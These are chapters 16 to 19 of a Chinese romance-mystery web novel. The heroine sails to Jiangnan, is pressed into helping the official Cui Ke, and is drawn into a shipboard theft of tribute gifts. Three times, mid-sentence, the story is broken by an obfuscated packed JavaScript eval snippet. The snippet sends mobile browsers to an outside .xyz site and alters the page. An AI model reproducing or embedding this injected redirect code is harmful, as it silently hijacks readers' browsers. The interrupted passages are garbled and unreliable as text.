季琢玉回到后院,随手将装着短剑的布包扔在石桌上,她坐在石凳上,忽然像是没了力气,眼神变得空洞疲惫。 没想到,她还没出手,还没做什么,那几个西突厥人就死了。 这下,红绫的在天之灵也可以安息了。 对了,白天出门的时候,秦姨说已经把红绫的遗物都整理好了,没多少东西,说是放在她房间里了。 季琢玉快步走进屋里,果然在桌子上有一个四四方方的布包。 她解开布包,里面的东西大多都是她送给红绫的,红绫被买来时,只穿着一身破破烂烂的粗布衣服,她什么也没有。 她将红绫练字用过的纸张捧在手里,歪歪扭扭的字迹,每一笔都很认真,仿佛看到红绫趴在桌边,咬着毛笔的一端,费尽脑汁想某个字如何写。 “希望有一日,能跟小姐一起去江南,听说江南可美了。” 一行字,比其他的字都要新,大概是红绫生前写下的最后的字。 季琢玉用手摸着泛黄宣纸上的字,纸面粗糙,墨水染到她的指腹上,她小心翼翼将纸折起来,收进布包里。 她决定明日启程,去江南。 这是红绫的遗愿。 16. 第十六章 破晓时分,季琢玉留下一封书信告知秦姨和花大叔此事,便出门了,去往江南得坐特定的官船。 运河的风带着水腥味儿,吹得季琢玉趴在官船栏杆上,一身轻便的靛青色圆领斜襟袍被风鼓得晃荡。 头发拿根磨亮的木簪子胡乱一挽,几缕碎毛黏在脑门上。 她眯着眼看两岸绿柳刷刷往后跑,心里那点因红绫起的涩巴劲儿,被这大水冲开了些。 可一抬眼瞅见船楼上头那抹墨色人影,笔挺挺跟杆标枪似的杵在那儿,那点子自在“噗”一下就没了。 崔恪竟也在这艘船上,真是冤家路窄。 “季…季姑娘?”旁边传来个带点喜气又犹豫的声儿。 季琢玉一扭头,仔细看清来人下巴上的红痣,眼睛“唰”地亮了。 是崔十九! 上次约见在西市,他有事耽搁了,两人便没见到,没想到在船上倒是又遇上了。 崔十九一身利索的玄色窄袖袍,腰扎皮带,精神头十足。 “季姑娘,上次的事……”他心中内疚。 “不怪你,大理寺公务繁忙,你有心帮我已经很好了,事儿已经解决了,你不必挂念。”季琢玉摆了摆手宽慰他。 她又不是傻的,崔十九不能赴约,肯定是崔恪从中作梗。 此事不怪他。 这人儿,跟他主子一个天上一个地下。 季琢玉笑得好看,顺手晃了晃刚买的、裹着亮晶晶糖壳的山楂串儿,红彤彤的招人稀罕。 “巧了不是!你也下南边儿?来一串?刚买的,可甜了!” 崔十九被她笑得有点愣神,耳朵根子悄悄红了,赶紧摆手。 “别别,谢过季姑娘了!我们是跟着少卿大人去扬州办公事。” 他下巴朝船楼上头抬了抬。 季琢玉脸上的笑“吧唧”一下掉地上了。 抬眼一瞧,崔恪不知啥时候站在了二层栏杆边。 一身墨蓝色圆领袍,料子挺括,半丝褶儿没有,腰里束着镶玉的皮带,脚蹬墨色官靴,衬得人跟棵孤松似的。 脸上没表情,就那双深眼黑珠子沉沉地压下来,盯着她,带着那股子熟悉的打量劲儿,还有点说不出的冷。 后头大好的河景,倒把他衬得更像块移不开的阴沉石头。 明明是长安城中最是俊俏的男子,却是个死板的,冷脸的,怪不得闺中女儿家没有对他芳心暗许的。 季琢玉鼻子里轻哼一声,只当没瞅见,眼珠子飞快粘回崔十九身上,笑得比刚才还热乎,嗓门清亮:“原来是有公务在身啊。十九大哥,我还想着要找你喝个痛快呢。” 她说着话,身子一拧,半个后背明晃晃晾给楼上的崔恪,那无视的劲儿,比啐他一口还噎人。 崔十九让她带得也松快了,笑着应和。 他在大理寺,整日跟一群不苟言笑的人呆在一起,这会儿同季姑娘说话,便觉得自个是切实活着的人儿。 俩人从河景聊到江南吃食,季琢玉非要把手里另一串糖葫芦塞给崔十九。 船楼二层,崔恪扣着栏杆的手指头悄没声地收紧了,骨节绷得发白。 他居高临下,瞅着甲板上那抹靛蓝影子对着崔十九笑得见牙不见眼,那股熟稔劲儿,扎得他心口又酸又闷,跟塞了团湿棉花似的。 对他,她跟炸毛猫似的,浑身是刺,没个笑脸。 可对着十九,她就能笑得没心没肺,还递那零嘴儿? 眼珠子扫过她脚边那个孤零零的蓝布包袱,包裹里漏出一角佩囊,正是红绫之前丢在永兴坊的。 她这次南下,估摸也跟红绫有关,真是胆子大,自己一个姑娘家就敢往江南跑! 江南道最近丢了好些姑娘,邪性得很,哪是善地?她这么愣头青撞进去…… 一股子揪心猛地压倒了那点酸气,比被她当空气还难受。 不成,不能让她这么跑了。 他吸了口凉丝丝带水腥的风,压下心头的翻腾,转身,步子沉甸甸地走下楼梯,直奔那碍眼的谈笑地儿。 高大的影子带着寒气往那儿一戳,两人欢笑的气氛“唰”就冻上了。 崔十九立马收了笑,垂手站直:“大人。” 季琢玉脸上的笑也跑光了,只剩下一副“真晦气”的样儿,懒洋洋拱拱手,眼皮耷拉着,就盯着自己手里那串红得晃眼的糖葫芦:“见过少卿大人。” 崔恪那眼神跟冰锥子似的,钉在季琢玉身上,声音不高,却沉甸甸压人:“你在这儿干什么?” “回您话,”季琢玉拖着调子,油腔滑调,“我南下办点私事儿,看看景,尝尝鲜,没犯王法吧?” “私事?”崔恪眼风扫过她那小包袱,眼神又沉了沉,“江南道最近不太平,丢了很多未出阁的姑娘,你一个……” 他话头微妙地卡住,眼神在她细溜溜的脖子和束胸的胸口扫过,“你不怕出事?” “劳少卿大人惦记。”季琢玉嗤笑一声,浑不在意地摆摆手,带着股子混不吝的洒脱劲儿,“我在长安城西市混大的,什么人没见过?” 她故意挺了挺胸脯,扬起下巴,“再说了,丢的是姑娘家,跟我有啥关系?” 崔恪瞅着她这副不知死活的样儿,太阳穴的青筋直蹦。 强压住捆人的冲动,声音又冷又硬,不容商量:“我奉旨去扬州查这案子。案子大,得找个会看人眼色的帮手。” 他眼刀子似的剜着季琢玉瞬间瞪圆的杏眼:“你,既然在西市长大,也算见过世面,正合适。打现在起,跟着我,一块查案。这是公事征调。” “什么?!”季琢玉惊得差点蹦起来,糖葫芦都晃悠了,“崔恪!你…你讲不讲理!凭啥要我替你查案?我有我的事儿!你这是假公济…假公济私!” 她气得脸蛋通红,像只炸毛的小猫。 什么狗屁公事征调,他调谁调不到,找她做什么,看不出来她不想跟他有瓜葛吗? 崔十九站在一旁,眼神中有些疑惑,大人刚才是说季姑娘会看人眼色吗,大人脸都是黑的,她还嬉皮笑脸,怎算会看眼色? 公事征调又是从何谈起,此行是秘密查案,陛下就只许大人带随从前往,连官差都不调来,大人怎么会想把季姑娘留在身边帮着查案呢。 崔恪眼皮子都没眨,反而往前逼了一步,微微弯下腰。 那低沉的声儿裹着冷气,直往她耳朵眼里钻,字字带钩:“凭我是大理寺少卿,凭你自己个儿乱跑,行踪不明,我就有理由疑你跟任何悬案有瓜葛。要么老实跟着,查完案子放你走。要么……” 他故意顿了顿,满意地看着她眼里的火苗“噌”地蹿起来,一字一句砸下来。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789965|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就请你回大理寺,好好聊聊你非去江南不可的缘由。这一聊,怕是得把你家中其他人请来作证。” 崔恪威胁她的话,跟烧红的针似的,狠狠扎进季琢玉心窝子。 她浑身一哆嗦,死瞪着眼前这张冷硬的俊脸。 他竟敢!竟敢拿秦姨和花大叔威胁她,偏偏这法子又格外有用。 她若是敢违抗崔恪的命令,秦姨和花大叔就免不了受她连累。 “害,崔大人,不就是顺路查案吗,您早说啊,我当然愿意跟随您了。”季琢玉笑得那叫一个难看,是不是发自肺腑的一眼就能看出来。 大丈夫能伸能屈,惹不起就惹不起吗,他日后可千万别栽她手里,她可是个记仇的。 崔恪直起腰,又恢复了那副公事公办的冷脸,好像刚才的威胁烟消云散。 他淡淡吩咐崔十九:“十九,带她去我隔壁的舱房。方便协查办案。” “是。”崔十九担忧地看了眼季琢玉,不敢违命。 崔恪不再看她,转身就走。 擦肩而过崔十九身边时,眼风扫过他攥在手里的糖葫芦,糖汁都从山楂缝里挤出来了。 他眉头几不可查地一皱。 鬼使神差地,他猛地伸手,快得像道影子,一把将那串红果子薅了过来! 崔十九看着自己空落的手,支支吾吾地喊出声:“大人……你这是何意?” 崔大人也想吃糖葫芦? “身为随行护卫,擅自接受不熟之人送的吃食,你认为妥当?” 崔恪面瘫似的吐出这句话,捏着那根细棍儿,活像捏着什么要紧的东西。 “大人说的是,属下记住了。” 崔十九想了想,觉得崔大人说得有理,他身为护卫要保护崔大人,肯定是不能乱吃别人给的东西。 季琢玉不悦,上前一步,伸出手便要问崔恪要回糖葫芦:“既然如此,请大人把糖葫芦还我。” 崔恪看她一眼,语气平淡地说:“送都送了,没有要回去的道理。” 季琢玉以为自己幻听了,什么叫送都送了,又不是送给他的,这是她给崔十九的糖葫芦。 他是怎么把这没道理的话,说得那么冠冕堂皇的? 崔恪看都不看季琢玉那呆住又气歪了的脸,袖子一甩,捏着糖葫芦大步走了。 季琢玉看着自己还沾着黏糖的手,又看看崔恪那冷硬的背影,再瞅瞅一脸歉意的崔十九,一股邪火直冲天灵盖,堵得她差点背过气去。 他不仅死板刻薄,还强词夺理抢走她的零嘴,不可理喻。 回到舱房,季琢玉把自己砸在硬邦邦的矮榻上,气儿还没顺,肚子先“咕噜”一声长鸣。 “天杀的崔恪!糖葫芦都抢!饿死小爷了……”她揉着瘪肚子,恨恨地骂。 话音没落,舱房外头猛地炸了锅! “抓贼啊——!” “生辰纲!给御史台控鹤府来大人的生辰纲丢啦!” “快!堵住口子!别让贼跑了!” 镖师的脚步声、侠客的刀剑出鞘声、小孩子哭爹喊娘声瞬间把船舱搅成了粥。 季琢玉耳朵一竖,骨子里的机灵劲儿上来了,一骨碌爬起来,蹑手蹑脚凑到门缝边。 走廊上乱成一锅粥。几个穿褐色劲装、五大三粗的镖师,围着尽头一扇门,脸都绿了。 17. 第十七章 领头那个络腮胡、铁塔似的汉子,正是负责押送此次生辰纲的镖头赵虎。 他额头青筋暴跳,对着赶来的崔恪和崔十九抱拳,声儿都颤了。 “少卿大人!出大事了!小的们押送进京、孝敬御史台控鹤府来大人的生辰纲,刚才还好好的锁着,一转眼,里头空了!全是金疙瘩玉疙瘩啊!” 崔恪眉头拧成川字,眼神刀子似的扫过现场,声音沉沉压人:“什么时候不见的?” “就一刻钟前!小的亲自查的锁,铜锁好好的!” 赵虎急得直拍大腿,眼珠子在探头看热闹的人堆里乱扫,猛地钉在刚推开条门缝、露出半张脸的季琢玉身上!那根粗指头带着风,狠狠戳过来。 “是他!大人!就是这小贼!小的刚才亲眼看见,这小子鬼头鬼脑在我们门外晃悠!慌里慌张!准是他趁乱下的手!快拿下他!” 唰! 所有眼珠子,怀疑的、愤怒的、看戏的,全钉在了季琢玉身上。 那几个丢了命根子的镖师,眼珠子都红了。 季琢玉被这盆脏水泼得懵了一瞬,随即一股邪火“轰”地冲上脑门。 她一把拉开舱门,被冤枉得心中恼火,市井泼辣劲儿上来:“你胡说,小爷我就在自己房里,门都没出!你哪只烂眼看见小爷鬼祟了?红口白牙污人清白!你那生辰纲是镶了王母的裤腰带还是嵌了玉帝的门牙?值得小爷我惦记?我季小爷在长安……” 她习惯性想报号,红绫的影子一闪,硬生生憋了回去,脸涨得通红。 “哼!贼喊捉贼!”赵虎狞笑,唾沫星子乱飞,“瞧你这男不男女不女的腌臜样,不是贼是啥?少卿,快锁了他!大刑伺候!东西肯定是他藏起来的!” 他吼着,竟扑上来要抓季琢玉衣襟! 就在那蒲扇大手要碰到季琢玉靛蓝袍子的刹那,一道墨影猛地横插进来。 崔恪高大的身子跟座山似的,严严实实把季琢玉挡在了后头。 宽大的袖子带起一股冷冽的松针味儿,瞬间罩住了她。 这突如其来的庇护,让所有人都一愣,季琢玉一瞬间愣住,甚至能感觉到他后背透过衣料的硬实。 崔恪的声音不高,却像冰坨子砸地,带着官威:“赵镖头,大理寺办案讲究证据。” 赵虎一愣,急吼:“大人!我就是人证啊,我分明看见这小子形迹可疑,又赶巧在船上,嫌疑最大!宁可错抓,不能放过啊!” 崔恪眼神更冷,刀子似的刮向赵虎:“光凭你的怀疑,就能定罪?” 他微微侧头,看向身后有点懵的季琢玉,声音还是没啥温度,却有种奇怪的安定感,“你刚才,真在自己屋里?” 季琢玉让他这突然的“讲理”弄晕乎了,下意识点头:“是,我门都没出!大人您能给我作证!咱们刚分开没多久,我没有作案的时间。” 崔恪几不可查地顿了下。 赵虎不依不饶,义正严辞地说:“没有作案时间,不见得没有同伙。” 他是粗人,最反感的就是季琢玉这种“男人”,打从上船就看“他”不顺眼了,一点男子气概都没有,活脱脱像个姑娘家,若是大唐儿郎皆如此,大唐毁也。 没等季琢玉辩解,崔恪转向赵虎,斩钉截铁:“她没嫌疑。” 赵虎等人像被掐了脖子,脸憋得通红,可面对大理寺少卿的亲口证词,终究不敢再咬,只能悻悻闭嘴,哭求崔恪快破案。 人群嗡嗡着散了,走廊里只剩崔恪、崔十九,和心还在“砰砰”跳、有点发怔的季琢玉。 刚才挡在身前那堵带着松针冷香的“山”,让她心口莫名跳快了一拍。 她抿抿嘴,压下那点别扭劲儿,磨蹭到崔恪背后,声音低低的,有点沙哑:“崔…大人,刚才…谢了。” 那群镖师来势汹汹实在吓人,手里都拿着刀,他们人多,打起来她真没胜算。 崔恪转过身,脸上还是那副冰雕样,好像刚才护人的不是他。 他垂眼,看着季琢玉仰起的小脸。那双总带着刺儿的杏眼,这会儿难得蒙了层薄薄的水汽,透着点不易察觉的软乎。 他眼神闪了一下,一丝极快的波动掠过。 可出口的话,却像冰碴子:“用不着谢,律法在那儿,没证据谁都不能抓人。” 他话头一转,眼神又锐利起来,带着审视,“不过,你既不是贼,他们为啥单咬你?你该反思一下,是不是平时太招摇,这趟去江南,收敛点,别惹麻烦。” 季琢玉:“……” 刚冒头的那点暖和气儿和“崔大人好像也没那么讨厌”的念头,“啪”一声摔得稀碎! “你…你简直不讲道理!是他们冤枉我,以小人之心度君子之腹,怎么还怪到我身上了。” 季琢玉气得浑身哆嗦,刚压下去的火“噌”地又冒三丈高。 “我好心谢你,你就这么噎人?什么叫招摇?什么叫惹事?是那姓赵的眼瞎!你…你跟你那套死规矩一样!又冷!又硬!又烦人!” 她吼完,再不想看这张气死人的脸,猛地转身,“哐当——!”一声震天响,狠狠摔上门! 劲儿大的,门框直掉灰,薄木板子“嘎吱”呻吟。 崔恪盯着那扇狂抖后紧闭的门,眉头拧成了死疙瘩,嘴唇抿成一条冷硬的线。 他刚才……好像又把事儿弄得更糟了?他只是……不想她再莽撞出事。 那句“别惹麻烦”一出口,他就知道坏了,可看着她那副天不怕地不怕、一点就着的样儿,那些带刺的话就自个儿往外蹦。 他下意识抬了抬手,指节修长,似乎想敲门,最终还是僵僵地放下。 指尖蜷着,掌心还残留着那串糖葫芦棍儿的凉,还有…一丝黏糊糊的糖渍,腻在指头上,甜得烦人。 算了,查案要紧。 他眼神瞬间恢复办案时的冷锐,如寒星扫向崔十九:“十九,封了丢生辰纲的舱房,一寸寸给我搜,任何疑点也别漏!把船上人的底细全摸清,尤其是那几个镖师和他们东家,还有他们跟御史台控鹤府来大人的勾连!” “是!大人!”崔十九抱拳领命,担忧地瞅了眼那扇紧闭的、仿佛还在冒烟的门,又看看自家大人冷硬侧脸上那点隐约的懊恼,心里直叹气。 大人这张嘴啊…比大理寺的杀威棒还硬! 季姑娘性子再刚硬,也是个女儿家,被人冤枉了肯定委屈,又遭到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797155|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的数落,甭提多难受了。 季琢玉一头扑在硬板床上,脸埋进带着霉味儿的粗布枕头,发出一声闷闷的、气急败坏的哼声。 门外廊下,崔恪没立刻走。 他垂眼,慢慢摊开一直紧攥的手。 那颗被他无意间从糖葫芦上掰下来的山楂,裹着半化的黏糖,正狼狈地躺在他掌心,红得刺眼,糖汁糊了他一手。 他盯着这颗小小的、不成样儿的果子,薄唇紧抿,眼神深得看不见底。 他在门外站了许久,没有敲门更没有说话,听到舱房里没动静,才放心离开。 深夜,季琢玉趴在硬邦邦的小桌上,肚子饿得直抽抽,白日里跟镖师争论,耗光了精神,这会儿只剩一肚子委屈和空落落的饥肠。 “笃、笃笃。”极轻的叩窗声响起,小心翼翼。 季琢玉一个激灵坐直,警惕地盯着那扇糊着薄纸的舱窗。 窗外映出一个模糊的、略显壮实的身影轮廓。 “季姑娘?是我,十九。”崔十九压得极低的声音传进来,带着点憨厚的歉意,“还没歇下吧?” 季琢玉松了口气,又有点没好气,蹭过去,把窗子推开一条小缝。 夜风带着水汽涌进来,崔十九那张带着点歉意的笑脸出现在缝隙里。 “十九大哥?大半夜的,有什么事吗?”季琢玉蔫蔫地问。 崔十九没说话,只飞快地从怀里掏出一个小巧的油纸包,从窗缝里塞了进来。 油纸包还带着点温热,一股极其诱人的、混合着杏仁和奶香的甜味儿瞬间钻入季琢玉的鼻腔。 “给…给你垫垫肚子。”崔十九挠挠头,声音更低了,“知道你没吃啥,饿着难受。” 季琢玉狐疑地接过,入手温热软糯。 她借着舱内一点昏暗的油灯光,打开油纸包。 里面是几块方方正正、色泽温润如玉的糕点,表面还撒着细细的糖霜和碎杏仁片。 “杏酪饧?”季琢玉眼睛一下子亮了,脱口而出。 她捻起一块,小心翼翼地咬了一口。 细腻软滑的奶糕入口即化,浓郁的杏仁香和恰到好处的甜意在舌尖弥漫开,一股极其熟悉、又带着点遥远模糊的暖意,猝不及防地撞进心口。 “真好吃。” 她含糊不清地说着,又迫不及待地咬了一大口,腮帮子鼓鼓的,漂亮的眼睛弯成了月牙,白天的愤懑委屈似乎都被这口香甜暂时压了下去。 “我好像吃过这个!就在长安…记不清是哪条巷子了…谁给我的…还是我自己买的还是…”她皱着眉头使劲儿想,那模糊的影子却怎么也抓不住,“哎呀,忘记了,总之就是这个味道!又香又甜,还不腻人!好吃!” 她吃得又惊又喜,她找了很久都没找到卖这个味道杏酪饧的铺子,也不知道崔十九是在哪儿寻到的。 秦姨说,两年前她因为外出贪玩淋雨生了一场大病,忘了好些事情,但都是不要紧的事,忘了就忘了。 崔十九在窗外看她吃得香,也跟着嘿嘿笑了两声,憨厚里透着点欣慰。 没想到崔大人连季姑娘爱吃什么也知道,两人之间的关系也没有表面那么敌对嘛。 18. 第十八章 他搓了搓手,看着季琢玉难得放松下来的侧脸,犹豫了一下,还是低声开口:“那个…季姑娘,其实…其实大人他…” 季琢玉咀嚼的动作慢了下来,脸上的笑意也淡了。 崔十九赶紧接着说:“大人他…真不是存心要训你。你是不知道,江南道那案子,邪门得很!丢了好些姑娘,活不见人死不见尸的!手段狠着呢!大人他…他就是担心你!你毕竟是女子,自己个儿跑那么远,人生地不熟的,万一…万一……” 他急得有点结巴,“大人那张嘴是硬,说话是不中听,可他那句‘别惹事’,真就是怕你出事!他心里头…是担心您,并不是嫌弃!” 季琢玉捏着半块杏酪饧,没说话,只是低着头,手指无意识地捻着油纸包。 崔恪那张冷冰冰、刻薄训人的脸又浮现在眼前,可崔十九的话,像小石子一样投进她心湖,激起了一圈圈涟漪。 是担心,不是嫌弃…… 崔十九见她沉默,以为她听进去了,心里一喜,想趁热打铁,把最关键那句说出来:“这吃的,其实…其实是大人他……” “十九大哥,”季琢玉突然打断他,声音低低的,带着点疲惫和说不清的烦闷,“我知道你是好心。可你家大人他那个人…冷得像块石头,硬得像块铁!担心人?他担心的是我给他惹麻烦吧?” 她把最后一点糕点塞进嘴里,甜味似乎也没那么香了。 “行了,吃的我收下了,多谢你想着我。夜深了,你也去歇着吧。” 她说着,就要关窗。 “哎!不是!这吃的真是大人他……”崔十九急了,半个身子都凑近窗缝,想解释清楚。 可他话还没说完,窗里的季琢玉突然身子晃了一下。 连日奔波的心神俱疲,加上刚才情绪大起大落,又被这点心勾起说不清的怅惘,一股沉重的倦意猛地袭来。 她只觉得眼前发花,手脚发软,支撑着身体的那点力气瞬间被抽空。 “哐当”一声轻响,是那半块没吃完的杏酪饧从她指间滑落,掉在桌上。 崔十九惊愕地瞪大了眼,若不是大人亲手递给他的,他就要怀疑这吃的里面有蒙汗药了。 只见季琢玉连哼都没哼一声,脑袋往前一栽,“咚”地一声,额头重重磕在了硬实的榆木小桌上。 整个人软软地趴伏下去,侧脸贴在冰凉的桌面,长长的眼睫垂着,呼吸变得均匀而绵长。 竟是就这么睡着了,或者说,是累得直接昏睡了过去。 “季姑娘!”崔十九吓得魂飞魄散,差点喊出声,慌忙压低声音急唤,“你没事吧?季…” 他扒着窗缝,焦急地往里看,只见油灯昏黄的光线下,少女趴在桌上,眉头微蹙,睡得不甚安稳,但呼吸还算平稳。 显然是累狠了。 崔十九急得抓耳挠腮,想进去看看又困于男女有别,他怎么能大半夜进姑娘家的舱房。 正不知所措间,身后不远处的阴影里,传来极轻微的一声衣料摩擦声。 崔十九猛地回头。 廊下昏暗的光线里,崔恪不知何时已悄无声息地站在那里。 墨色的袍子几乎与夜色融为一体,只有腰间的玉带钩在黑暗中反射着一点幽冷的微光。 他背对着崔十九的方向,面朝着季琢玉那扇紧闭的舱门,身形挺拔如旧,却透着一股难以言喻的僵直。 他显然看到了刚才窗边的一切。 崔十九心头一跳,张了张嘴,想解释:“大人,季姑娘她只是……” 崔恪没有回头,只是极轻微地抬了一下手,制止了他后面的话。 那只手在昏暗的光线下,指节似乎收得更紧了些。 “咔哒”一声轻响,门栓断裂的脆响在寂静的夜里格外清晰。 崔十九惊得倒吸一口冷气,眼睁睁看着自家大人一步跨入那浅白的光晕里。 季琢玉毫无知觉地趴伏在冰冷的桌面上,单薄的靛青缺胯袍勾勒出过于纤细的肩背线条。 崔恪高大的身影在她身边投下浓重的阴影。 他垂眸看着桌上那颗被遗忘的半块杏酪饧,又落在她额角刺目的红痕和毫无防备的睡颜上,薄唇抿得死紧。 他俯下身,动作带着一种奇异的僵硬和谨慎。 一只手臂小心地穿过她的腿弯,另一只手托住她的后背。 入手的分量轻得让他心头一沉。 几乎没有丝毫犹豫,他手臂一收,轻而易举地将那纤细温热的身子打横抱了起来。 崔十九扒在窗缝外,眼珠子都快瞪出来了! 大人他…他竟抱了季姑娘?! 他从未见过大人与任何女子有过这般…这般逾矩的接触!这简直比看到太阳打西边出来还惊悚! 崔恪抱着季琢玉,像抱着什么易碎的瓷器,每一步都走得极稳,却又带着一种说不出的僵硬。他走向那张硬邦邦的矮榻,小心翼翼地将怀中人放下。 指尖无意间拂过她散落颊边的碎发,那细腻微凉的触感让他指腹猛地蜷缩了一下。 他拉过榻上那床半旧的薄被,动作生疏地盖在季琢玉身上,一直盖到下巴。 指尖在薄被边缘停顿了一瞬,似乎想替她拨开黏在额角的碎发,最终却只是飞快地收回。 他直起身,站在榻边,沉沉地看了熟睡的人影一眼,那眼神深得像不见底的寒潭。 好不容易僵硬地将人放到硬榻上,刚要抽身,袖口猛地一紧。 “唔…别走…”季琢玉在梦里咕哝,小手死死攥着他昂贵的墨色袖角。 她侧过脸蹭着布料,脸颊压出的红痕未消,在昏灯下晕开一片暧昧的粉。 几缕乌发黏在汗湿的鬓角,长睫随着呼吸轻颤,脆弱又勾人。 崔恪瞬间僵成石雕。血液轰地冲上头顶,心跳擂鼓般砸着耳膜。 他垂眼,目光粘在她脸上,褪去尖刺,睡着的她竟媚得惊心。 红唇微张,温热的气息拂过他手腕,唇角还沾着一点没擦净的杏酪饧碎屑,像雪地里滴落的胭脂。 咚、咚、咚! 心要炸了,从未有过的感觉。 一股滚烫的热流从被她攥住的袖口烧遍全身,指尖都在发麻。 喉结狠狠滚动,他试图抽手。 睡梦中的季琢玉不满地蹙眉,哼唧一声,反而将那片袖子更紧地揉进怀里,甚至无意识地往里拽了拽,温热的身子几乎贴上他僵硬的手臂。 感觉到什么柔软之处,崔恪瞳孔皱缩,呼吸骤停,那股灼热瞬间烧到耳根。 想拂开她颊边的发,想抹去那碍眼的点心屑……甚至想……这念头让他如遭雷击! 他猛地闭眼,再睁开时,眼底已凝起寒冰。 带着一股近乎自毁的狠劲儿,他“嗤啦”一声,硬生生将那截被攥得死紧的布料从她温软的掌中撕扯出来! 季琢玉嘤咛一声,像失落的小兽,蜷缩了一下。 崔恪看都不敢再看,大步走出舱门,背影狼狈得像在逃,反手轻轻带上了那扇被他强行破开的门。 “看好她。任何人靠近,拿下。” 崔恪的声音压得极低,像淬了冰的刀锋,砸在呆若木鸡的崔十九耳边。 崔十九一个激灵:“…是!” 他眼睁睁看着崔恪再次像尊门神般杵在门外,背影在昏暗的光线下绷得如同一张拉满的弓。 崔十九脑子里嗡嗡作响,刚才大人抱起季姑娘那一幕反复回放,像烧红的烙铁烫在他的认知上。 他慢慢滑坐到冰冷的廊板上,背靠着柱子,抱着膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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大人哪是路过!分明是木头桩子似的在门外钉了一整夜!还…还抱了季姑娘上床! 这个认知让崔十九心里酸涩又堵得慌。 大人他…对季姑娘…这心思… 可是,他明明记得两年前大人与他互通书信,无意间提起过与长安城中一位姑娘私定终身…… 大人不是不喜三妻四妾吗?如今怎么同两个姑娘不清不楚… “醒了就收拾。失窃的屋子封了,今天细查。” 崔恪的声音打断了崔十九的胡思乱想,还是那副冷冰冰的模样。 他目光在季琢玉揉脖子的手上停了一瞬,眉头几不可查地皱了下,不再停留,转身就走,步子稳得好像昨晚破门而入紧张她的人不是他。 季琢玉看着他挺直却莫名有点孤零零的背影,又瞅瞅旁边垂着头、神色古怪得像便秘的崔十九,疑惑地皱了皱鼻子。 总觉得哪不对劲。 她瞥了眼空桌子,昨晚吃的杏酪饧早没了影儿,就指尖还剩点若有似无的甜香。 她又摸了摸脖子,总觉得今天崔大人有点玄乎。 她甩甩脑袋,把那点怪感觉甩开,看了一眼崔恪离开的背影,转身进屋洗漱。 她简直是疯了,昨晚竟然梦到崔大人抱她,她还扯着崔大人的袖子… 走廊上,只剩崔十九一个。 他抬起头,望着崔恪消失的拐角,又回头看看季琢玉关紧的门,脸上是心知肚明的苦。 他攥了攥拳头,又松开,最后只是长长地、无声地叹了口气。 这次南下,怕是要乱套了。 19. 第十九章 船板在脚下吱呀作响,崔恪推开那扇被强行破开的舱门,一股混杂着桐油、灰尘和隐约霉味的气息扑面而来。 季琢玉跟在他身后半步,下意识屏住了呼吸,目光锐利地扫视着这间已然空空如也的舱房。 地方不算大,原本堆叠生辰纲大箱的位置,如今只剩下几道清晰深刻的压痕,以及散落在地的几缕用来捆扎箱子的麻绳断头。 舱壁上的油灯盏里,灯油已燃尽,凝固成乌黑的一团。 崔恪的目光首先钉在门内铜锁的挂环上。 伸出修长的手指,在那磨损得锃亮的铜环内侧轻轻一抹,指腹沾上一点极其细微的、新鲜的金属碎屑,在从门口透进来的天光下闪着微弱的银光。 “锁是被撬开的,”他声音低沉,带着惯有的冷硬,“手法利落,工具趁手。不是生手所为。” 季琢玉也凑近细看,点头表示认同。 她的视线随即被地面吸引。 靠近舱壁角落的地板上,有一小片不规则的、颜色略深的区域。 “大人,这里有水渍。”她蹲下身,指尖小心地触碰那片潮湿,凉意顺着指尖蔓延开,“还没完全干透。” 崔恪也蹲了下来,墨蓝色的袍角拖在并不算干净的地板上。 他盯着那片水痕,又抬头看了看舱壁上方靠近水线的位置。 木板严丝合缝,并无明显渗漏的痕迹。 “不是船舱渗水。”他下了判断,目光锐利地扫过水渍周围的地板。 积水的边缘,清晰地印着几个模糊的鞋印。 鞋印的纹路很特别,前掌是细密的横纹,后跟则有一圈圈类似鱼鳞的凸起。 崔恪眸色一沉,站起身,对着门外沉声吩咐:“崔十九。” “属下在!”崔十九立刻闪身进来。 “带人比对船上所有人员鞋履。尤其是押送生辰纲的镖师,他们统一配发的靴子,鞋底纹路仔细看清楚。”他的目光再次落回地上那独特的鞋印上,“重点查这种前掌横纹,后跟鱼鳞纹的。” “是!”崔十九领命,立刻带人去了。 季琢玉站起身,环顾这间被洗劫一空的舱房,眉头紧锁:“那么多大箱子,分量不轻,要一夜之间搬空,不可能悄无声息。可昨夜除了抓贼的喧闹,确实没人听到搬箱子的动静。” 她走到窗边,用力推了推紧闭的舷窗,“窗户也从内闩死了,没有破坏痕迹。除非……” 她的话没说完,走廊上突然传来一阵压抑的骚动和低语,如同水波般迅速在整艘船上蔓延开来。 “……水鬼!肯定是水鬼干的!” “嘘,小声点,别惹祸上身。” “怎么小声?那么多金子玉器,眨眼就没了,不是水鬼搬运术是什么?” “对啊对啊,这片水域邪性得很,老辈人都说有河伯巡游,专收过路财宝孝敬。” 